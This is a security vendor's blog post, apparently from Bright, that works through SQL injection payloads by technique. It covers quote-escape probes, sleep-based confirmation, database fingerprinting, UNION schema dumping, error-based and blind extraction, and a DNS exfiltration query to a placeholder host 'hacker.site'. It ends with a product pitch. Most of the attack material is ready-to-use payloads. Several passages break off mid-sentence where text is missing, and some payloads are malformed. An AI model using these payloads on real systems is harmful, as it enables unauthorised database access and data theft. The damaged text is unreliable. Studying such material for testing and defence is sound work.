Published: September 16, 2021 Updated: November 14, 2023

SQL Injection Payloads: How SQLi exploits work

Admir Dizdar

Vulnerabilities

What is a SQL Injection payload?

SQL Injection represents a web security vulnerability which allows attackers to view data that they should not be able to, by allowing the attacker to interfere with the queries that an application makes to its database by injecting malicious SQL injection payloads.

Learn more about SQL Injection attacks in this blog post – What Are SQL Injections and How Can They Be Prevented

In this blog post, we are going to cover how to verify if a website is vulnerable to SQLi and the different SQL injection payloads used to exploit different types of SQL injection vulnerabilities.

In this article:

to first be able to inject data into the query without breaking it. The first step is to find out how to escape from the current context.

Try one of these useful examples:

```
 [Nothing]
'
"
`
')
")
`)
'))
"))
`))
```

To fix the query you can input data so the previous query accepts the new data, or you can input data and add a comment symbol at the end.

This phase will be easier if you can see error messages or you can identify if /when a query is working or not.

Comments

```
MySQL
#comment
-- comment     [Note the space after the double dash]
/*comment*/
```

```
--comment
/*comment*/

MSQL
--comment
/*comment*/

Oracle
--comment

SQLite
--comment
/*comment*/

HQL
HQL does not support comments
```

Confirming SQLi by using logical operations

You can confirm an SQL injection vulnerability by performing a logical operation. If you get the expected result, you confirmed SQLi.

Here is how it looks in practice:

If the GET parameter `?username=John` returns the same content as `?username=John'` or `'1'='1` then you found a SQL injection vulnerability.

This concept works for mathematical operations too:

```
page.asp?id=1' or 1=1 -- true
page.asp?id=1" or 1=1 -- true
page.asp?id=1 and 1=2 -- false
```

Confirming SQL injection with Timing

In some instances when trying to confirm a SQLi, there won't be a noticeable change on the page that you are testing. This indicates a Blind SQL, which can be identified by making the database perform actions that will have an impact on the time the page needs to load.

We are going to add to the SQL query an operation that will take a longer time to execute, such as performing the following:

```
MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)

PostgreSQL (only support string concat)
1' || pg_sleep(10)

MSQL
1' WAITFOR DELAY '0:0:10'

Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)
```

The sleep functions are not always allowed, so make a query perform complex operations that will take several seconds instead.

Identifying the Back-end

Different backends have different functions, which can be identified executing those functions. Examples of these functions are:

MySQL

```
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
["connection_id()=connection_id()" ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')" ,"MYSQL"],
```

MSSQL

```
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)" ,"MSSQL"],
["@@CONNECTIONS>0" ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS" ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY" ,"MSSQL"],
["USER_ID(1)=USER_ID(1)" ,"MSSQL"],
```

Oracle

```
["ROWNUM=ROWNUM" ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')" ,"ORACLE"],
["LNNVL(0=123)" ,"ORACLE"],
```

PostgreSQL

```
["5::int=5" ,"POSTGRESQL"],
```

```
["quote_literal(42.5)=quote_literal(42.5)" ,"POSTGRESQL"],
["current_database()=current_database()" ,"POSTGRESQL"],
```

SQLite

```
["sqlite_version()=sqlite_version()" ,"SQLITE"],
["last_insert_rowid()>1" ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()" ,"SQLITE"],
```

MS Access

```
["val(cvar(1))=1" ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0" ,"MSACCESS"],
["cdbl(1)=cdbl(1)" ,"MSACCESS"],

["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
```

Union Based SQL Injection Payloads

Detecting number of columns

Both queries (the original one, and the one we alter) must return the same number of columns. But how do we know the number of columns the initial request is returning? We usually use one of the two following methods to get the number of columns:

Order/Group by

```
1' ORDER BY 1--+    #True
1' ORDER BY 2--+    #True
1' ORDER BY 3--+    #True
1' ORDER BY 4--+    #False - Query is only using 3 columns
                        #-1' UNION SELECT 1,2,3--+    True

1' GROUP BY 1--+    #True
1' GROUP BY 2--+    #True
1' GROUP BY 3--+    #True
1' GROUP BY 4--+    #False - Query is only using 3 columns
                        #-1' UNION SELECT 1,2,3--+    True
```

UNION SELECT

In the case of UNION SELECT, insert an increasing number of null values until the query is valid:

```
1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked
```

Why are null values used? There are cases in which the type of the columns on both sides of the query have to be the same. Null is valid in every case.

Extract database names, tables and column names

In the following examples, we are going to retrieve the name of all the databases, the table names from a database and the column names of the table:

```
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_s
chema=[database]
#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table
_name=[table name]
```

The method used to discover this data will vary from the database itself, but it's always the same methodology.

Error based SQL Injection Payloads

If the query output is not visible, but you can see the error messages, you can make these error messages work for you to exfiltrate the data from the database.

Similar to the Union Based exploitation example, you could dump the database:

```
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1
union select 2)a group by x limit 1))
```

Blind SQL Injections Payloads

In the case of Blind SQL injection, you can't see the results of the query nor the errors, but you can distinguish when the query returned a true or a false response based on the different content on the page.

You can abuse that behaviour to dump the database char by char:

```
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
```

Error Blind SQL Injection Payloads

As the name implies, this is very similar to Blind SQL injection, but this time you don't have to distinguish between a true or false response. You check if there is an error in the SQL query or not, by forcing an SQL error each time you correctly guess the char:

```
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
```

Time Based SQL Injection Payloads

You can use this technique primarily when you are about to exploit blind vulnerabilities where you use a second query to trigger a DNS lookup, conditional error, or a time delay.

```
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
```

executed, the results are not returned to the application. You can use this technique when blind vulnerabilities where you use a second query to trigger a DNS lookup, conditional error, or a time delay.

While Oracle and MySQL don't support stacked queries, Microsoft and PostgreSQL do support them: `QUERY-1-HERE; QUERY-2-HERE`

Learn more in our detailed guide to sql injection attack.

Out of band SQLi Payloads

If none of the exploitation methods mentioned above worked for you, you can try to make the database exfiltrate the data to an external host controlled by you. For example, you can use DNS queries:

```
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
```

Related content: Read our guide to sql injection test.

Detect SQL Injection with the help of Bright

Bright automates the detection and remediation of hundreds of vulnerabilities, including SQL injection.

By integrating DAST scans early in the development process, developers and application security experts can detect vulnerabilities early, and remediate them before they appear in production.

With Bright the scans are done in minutes and the results come with zero false positives. This allows developers to adopt the solution and use it throughout the development lifecycle.

Resources

DORA: Exploring The Path to Financial Institutions' Resilience

DORA (Digital Operational Resilience Act) is the latest addition to the EU regulatory arsenal. A framework designed to bolster the cyber resilience of financial entities operating within the EU. But let's face it: there's no lack of regulations issued by the European Union legislature, and they're not exactly known for keeping things light and easy.

July 9, 2024

IASTless IAST – The SAST to DAST Bridge

Streamline appsec with IASTless IAST. Simplify deployment, enhance accuracy, and boost your security posture by combining SAST and Bright's DAST.

June 19, 2024

Bringing DAST security to AI-generated code

AI-generated code is basically the holy grail of developer tools of this decade. Think back to just over two years ago; every third article discussed how there weren't enough engineers to answer demand; some companies even offered coding training for candidates wanting to make a career change. The demand for software and hardware innovation was

June 10, 2024